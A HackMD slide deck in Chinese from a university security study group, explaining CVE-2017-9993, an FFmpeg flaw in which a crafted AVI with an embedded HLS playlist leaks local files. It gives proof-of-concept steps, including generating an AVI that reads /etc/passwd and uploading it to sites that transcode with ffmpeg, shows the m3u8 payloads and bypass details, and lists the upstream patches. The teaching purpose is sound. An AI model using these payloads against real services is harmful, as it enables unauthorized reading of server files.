C.A.Lee
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Engagement control
    • Make a copy
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Make a copy Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    --- robots: index, follow tags: CSC, 資安, 讀書會, 簡報 description: Information Security lang: zh-tw dir: ltr breaks: true disqus: hackmd GA: UA-100433652-1 --- CVE-2017-9993 ===== FFmpeg + AVI + HLS ---- ## [交大 BambooFox](https://bamboofox.github.io/) ![](https://i.imgur.com/u3ythu3.png) FB: [交大網路安全策進會](https://www.facebook.com/NCTUCSC/?fref=ts) ---- <img src="https://i.imgur.com/Eo7cL8Y.png" style="width:200px;height:200px;border-radius:50%"/> #### [CA Lee](https://www.facebook.com/calee0219) calee@cs.nctu.edu.tw 交大資工 大三 交大 BambooFox 新手村成員 --- ## Outline - 簡介 SSRF - 漏洞概念 - POC - 漏洞觸發流程 - 繞過工具 - 細節 - 第二種攻擊 --- ## SSRF Server Side Request Forgery - 攻擊者造成由服務端(Server) 發出請求,造成的資安漏洞 - 目的多在與訪問外網無法訪問的系統 ---- ![](https://d3eaqdewfg2crq.cloudfront.net/wp-content/uploads/2013/08/image2.png) ---- ### 常見漏洞 - URL 存取 (轉址、分享...) - 圖片、檔案上傳 - [參考](http://zjw.dropsec.xyz/uncategorized/2016/11/19/SSRF%E6%BC%8F%E6%B4%9E%E5%88%9D%E6%8E%A2.html) --- ## 歷史 ### CVE-2016-1897 、 CVE-2016-1898 结合 [SSRF](https://read01.com/kRxM7n.html#.WZMuSncjHOQ) ,我們可以把 file:// 讀到的內容發送出来 > concat: URL1 | URL2 | … | URLN ``` #EXTM3U #EXT-X-TARGETDURATION:6 #EXTINF:10.0, concat:http://rr.sb/poc/header.m3u8|file:///tmp/vuln #EXT-X-ENDLIST ``` --- ## Concept - 透過上傳的影片檔,觸發 SSRF 漏洞 - 繞過檢查: - FFmpeg 可以處理 HLS playlist - HLS playlist 會對外部文件做引用 - 利用 AVI 文件中的 GAB2 字幕模組來觸發此功能 - 通過 XBIN 編解碼器 檢索轉換節點的本地文件 - 任意讀取本地文件 ---- ### 一般視訊上傳 ![](https://i.imgur.com/5pZ0tJ1.png) [source](https://docs.google.com/presentation/d/1yqWy_aE3dQNXAhW8kxMxRqtP7qMHaIfMzUDpEqFneos/edit#slide=id.g2236f7db50_1_9) ---- ### Attack ![](https://i.imgur.com/VGBM5go.png) [source](https://docs.google.com/presentation/d/1yqWy_aE3dQNXAhW8kxMxRqtP7qMHaIfMzUDpEqFneos/edit#slide=id.g2236f7db50_1_10) --- ## PoC 1. 下載 PoC code: ``` wget https://raw.githubusercontent.com/neex/ffmpeg-avi-m3u-xbin/master/gen_xbin_avi.py ``` ---- 2. 生成 avi: ``` python3 gen_xbin_avi.py file:///etc/passwd sxcurity.avi ``` ---- 3. 上傳 sxcurity.avi 到會利用 ffmpeg 做處理的網站 ---- 4. FFmpeg 會自動作出處理: (這裡我們是生成 output.mp4 檔案) ``` ffmpeg -i sxcurity.avi output.mp4 ``` ---- 5. 而在處理成 output.mp4 的時候,就會把一開始寫的 `/etc/passwd` 以影片的方式,呈現出來 --- ## 漏洞觸發流程 1. 制作一个 AVI 格式的容器文件,其中包含 GAP2 格式的字幕和 HLS 播放列表 2. 列表中的外部文件特意寫成 /etc/passwd 等希望讀取内容的敏感文件 3. ffmpeg 轉碼這個 AVI 文件時,會將其中的 GAP2 内容與 /etc/passwd 文件中的内容接為最终的字幕 4. 字幕文本以 XBIN 編碼,最終會被 FFmpeg 轉為視屏 --- ## 繞過工具 ---- ## AVI - [AVI](https://zh.wikipedia.org/wiki/AVI%E6%A0%BC%E5%BC%8F) 本身只是提供了這麼一個框架,內部的圖像資料和聲音順據格式可以是任意的編碼形式。 - AVI的檔案結構分為「頭部」,「主體」和「索引」三部分。從尾部的索引可以索引跳到自己想放的位置 - 索引放在了檔案尾部,所以在播放internet串流媒體時已屬力不從心。 ---- ## FFmpeg - [FFmpeg](https://zh.wikipedia.org/wiki/FFmpeg) 是一個自由軟體,可以執行音訊和視訊多種格式的錄影、**轉檔**、串流功能 - 可以解析 HLS 格式 ---- ## HLS - [HLS(HTTP Live Streaming)](https://en.wikipedia.org/wiki/HTTP_Live_Streaming): 將影片切成多個片段,適時的求取下一片段 - 不同的備用源中以不同的速率下載同樣的資源 - 在開始一個流媒體會話時,客戶端會下載一個包含 matadata 的 extended M3U (m3u8) playlist 文件,用於尋找可用的媒體流 ---- ## HLS sample ```= #EXTM3U // 宣告 m3u8 playlist #EXT-X-VERSION:3 #EXT-X-ALLOW-CACHE:YES #EXT-X-MEDIA-SEQUENCE:4454 #EXT-X-TARGETDURATION:4 // 每隔 4 秒重新抓一次 #EXTINF:3.998, no desc // 此片段停留 3.998 25133_src/4460.ts // 要索取的 ts 檔 #EXTINF:3.992, no desc 25133_src/4461.ts #EXTINF:3.985, no desc 25133_src/4462.ts #EXTINF:3.979, no desc 25133_src/4463.ts #EXTINF:3.996, no desc 25133_src/4464.ts ``` 參考: [TechBridge 技術共筆部落格](http://blog.techbridge.cc/2016/12/03/livestreamming-hls-note/) --- ## 細節內容 ---- ### sxcurity.avi ![](https://i.imgur.com/syuQPys.png) - RIFF... : AVI header - GAB2: 使用 GAB2 字幕模組 - #EXTM3U: GAB2 字幕是使用 HLS 格式 (m3u8 playlist) ---- ### m3u8 ![](https://i.imgur.com/n9ZZVSl.png) ---- ### XBin - XBin 是一個蠻古老的格式 - 可以顯現視訊,文本 - 可以編程 - 將目標文件作為對象,用 xbin 繪製成字符,可作為合法可看的視頻 ---- 所以我們希望 m3u8 playlist 可以長這樣 ``` [AVI header] [GAB2 header] [m3u8 header] [XBIN header] 目标文件 [XBIN footer] [m3u8 footer] [AVI footer] ``` ---- 希望形成的格式 ``` #EXTM3U #EXT-X-MEDIA-SEQUENCE:1 #EXTINF:1.0, data:<format-header> #EXTINF:1.0, file:///etc/passwd #EXTINF:1.0, data:<format-footer> #EXT-X-ENDLIST ``` 但是 FFmpeg 對 body 作檢查了,不允許 data 宣告 ---- ### #EXT-X-KEY - 表示如何對每個片段進行解碼 - m3u8 本身對 body 有做檢查,不能直接宣告 xbin 格式 ![](https://i.imgur.com/mDNw70R.png) ---- - 利用 m3u8 支持 AES128 的 CBC 模式加密的特性 - /dev/zero - [AES-128 CBC](http://aes.online-domain-tools.com/) - text: 4c4d465e0b95223279487316ffd9ec3a\ 0000000000000000 - URI -> AES key: 0000000000000000 - #EXT-X-BYTERANGE 設置偏移 ![](https://i.imgur.com/uZLih2S.png) ---- ### 然後用 FFmpeg 做轉檔 ![](https://i.imgur.com/QlXhOtG.png) - 利用 XBIN 格式與 HLS 的特性 - FFmpeg 做轉檔時,因為 HLS 寫好的,會一個片段一個片段的把 /etc/passwd 帶出來 ---- ![](https://i.imgur.com/5jGeG0Y.png) ---- {%youtube cnPRESfhRbE %} --- ## Patch - 在解析 AVI 時,把 GAB2 字幕限制為常見的 srt 和 ass 格式 - [avformat/avidec: Limit formats in gab2 to srt and ass/ssa](https://github.com/FFmpeg/FFmpeg/commit/a5d849b149ca67ced2d271dc84db0bc95a548abb) - 特殊檔案標頭用白名單過濾 (file://) - [avformat/hls: Check local file extensions](https://github.com/FFmpeg/FFmpeg/commit/189ff4219644532bdfa7bab28dfedaee4d6d4021) --- ## 另一種攻擊 ---- https://hackerone.com/reports/243470 - FFmpeg 在處理 HLS 時,會先把 playlist 上要處理的每一格先合成成一個檔案 - 利用 playlist 上的第一個檔案格式作為合成檔案格式 - ffmpeg 會對 .txt 做特殊處理,它會嘗試將文件的内容以终端的方式印在屏幕上 ---- ## So 新的生成檔會長這樣: ![](https://i.imgur.com/hEaWW40.png) ---- 1. FFmpeg在 GAB2 字幕裡面看到了 #EXTM3U => HLS 2. .txt 會在合成後,把合成檔當成 txt (GOD.txt 不需要存在,他只看 string) 3. 在合成大檔案後,就可以看到 /etc/passwd 了 ---- {%youtube 328y4Ay1cjM %} --- ## Conclusion - HLS 協定有其目的 - But HLS 可以引用到外部檔案 (實作) - 此特性可能讓其未來還有其他漏洞 - 解決方法 - 做好權限控管 - 包進 container --- ## Reference [演講](https://www.facebook.com/calee0219/posts/1486610381431088?pnref=story) [ppt](https://docs.google.com/presentation/d/1yqWy_aE3dQNXAhW8kxMxRqtP7qMHaIfMzUDpEqFneos/edit#slide=id.p) - https://zhuanlan.zhihu.com/p/28255225 - http://blog.shengbin.me/posts/a-vulnerability-of-ffmpeg - http://paper.seebug.org/338/ --- ### NCTU CSC ### BambooFox ![](https://i.imgur.com/BRJcexe.jpg =650x) ---- ## 成立宗旨 - 資安技術與知識傳承 - 促進學生的資安意識與技術 - 協助學校漏洞修補、增進校園網路安全 ---- ## 簡介 - BambooFox 誕生於交大 DSNS Lab、SQLab 以及系計中 - 成員包含交大、清大、中央、中原 - 由 Mango King 與 Banana Apple 成立學校社團 網路安全策進會 - 實驗室 + 系計中 + 社團 + 戰隊 + 學長前輩們 - 主要以 CTF 題目為練習目標 ---- ## CTF - Capture The Flag,簡稱 CTF - 由主辦單位設計帶有漏洞的程式或網站,讓參賽者進行解題或互相攻防 - 培育資安人才 - 藉由參與 CTF 競賽,提升自我程度,學習許多神奇技巧,出國玩,拿獎金 (X) ---- ## 社群效應 - 舉辦/參加 研討會,與台灣各地人才交流、技術分享 - 學長姊願意回來指導 - 認識一些資安界大大 ---- ## 學習資源 - [BambooFox 網頁](https://bamboofox.github.io/) - [BambooFox Training](https://bamboofox.cs.nctu.edu.tw/) - [BambooFox Youtube Channel](https://www.youtube.com/channel/UCWIxPblsd5y4QGR1qhX3FGA) - [FB 討論群](https://www.facebook.com/groups/1513695338847931/?fre) - [社團粉專](https://www.facebook.com/NCTUCSC/?fref=ts) --- ## BambooFox 讀書會 - 每月一次 - 新竹地區最大資安聚會 XD - 每次會有一到兩個分享 - CVE, ZeroDay, 病毒設計, 伺服器管理, 社交工程... - 題目不限,有興趣的都歡迎來參加 or 分享 - 吃吃喝喝,聊聊天

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully